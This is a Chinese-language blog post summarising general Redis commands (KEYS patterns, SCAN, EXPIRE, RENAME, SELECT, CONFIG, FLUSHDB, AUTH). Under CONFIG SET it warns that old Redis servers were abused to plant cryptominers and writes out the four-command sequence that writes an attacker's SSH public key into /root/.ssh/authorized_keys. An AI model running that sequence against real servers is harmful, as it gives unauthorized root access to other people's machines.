MS-Redis-其他命令

2019-01-10  本文已影响0人  Captain_tu

Redis还提供了其他命令对数据库和数据类型进行操作

  1. 重要的
    • keys pattern
    • type key
    • del key
    • exists key
    • expire key
    • ttl key
    • select db
    • auth password
  2. API
    1. keys pattern
      支持的正则表达模式:

      • h?llo 匹配 hello, hallo 和 hxllo
      • h*llo 匹配 hllo 和 heeeello
      • h[ae]llo 匹配 hello 和 hallo, 但是不匹配 hillo
      • h[^e]llo 匹配 hallo, hbllo, … 但是不匹配 hello
      • h[a-b]llo 匹配 hallo 和 hbllo
      • * 匹配所有

      警告⚠️:KEYS 的速度非常快,但在一个大的数据库中使用它仍然可能造成性能问题

    2. scan
      SCAN 命令及其相关的 SSCAN, HSCANZSCAN 命令都用于增量迭代一个集合元素。

      • SCAN 命令用于迭代当前数据库中的key集合。
      • SSCAN 命令用于迭代SET集合中的元素。
      • HSCAN 命令用于迭代Hash类型中的键值对。
      • ZSCAN 命令用于迭代SortSet集合中的元素和元素对应的分值

      以上列出的四个命令都支持增量式迭代,它们每次执行都只会返回少量元素,所以这些命令可以用于生产环境,而不会出现像 KEYS 或者 SMEMBERS 命令带来的可能会阻塞服务器的问题。

      不过,SMEMBERS 命令可以返回集合键当前包含的所有元素, 但是对于SCAN这类增量式迭代命令来说,有可能在增量迭代过程中,集合元素被修改,对返回值无法提供完全准确的保证

      image.png
    3. exits key
      获取是否存在key

    4. del key
      删除一个key

    5. expire key
      给一个key设置过期时间

    6. ttl key
      获取key还剩的过期时间

    7. persist key
      移除key的过期时间,即key永久有效

    8. randomkey
      随机获取一个key

    9. rename key new_key
      重命名一个key,如果new_key==key,报错;如果new_key已存在,会被覆盖

    10. renamenx key new_key
      同rename,但是如果new_key已存在,什么都不做,返回0

    11. type key
      获取key的类型

    12. select db
      切换数据库


      image.png
    13. move key db1 db2
      将key从db1移动到db2

    14. dbsize
      获取db中key的个数

    15. info
      获取服务器信息和统计

    16. config get pattern
      获取服务器配置信息

    17. config set key value
      设置服务器配置信息
      老版本的redis被利用这两个命令,登陆远程服务器,植入挖矿程序

      config set dir /root/.ssh
      config set dbfilename authorized_keys
      set xxx "\n\nssh-rsa*******"
      save
      
    18. flushdb
      清空当前db的所有key

    19. flushall
      清空所有db

    20. auth password
      在配置文件中开启密码登陆后,连接redis服务器需要密码,使用auth进行输入密码

上一篇 下一篇

猜你喜欢

热点阅读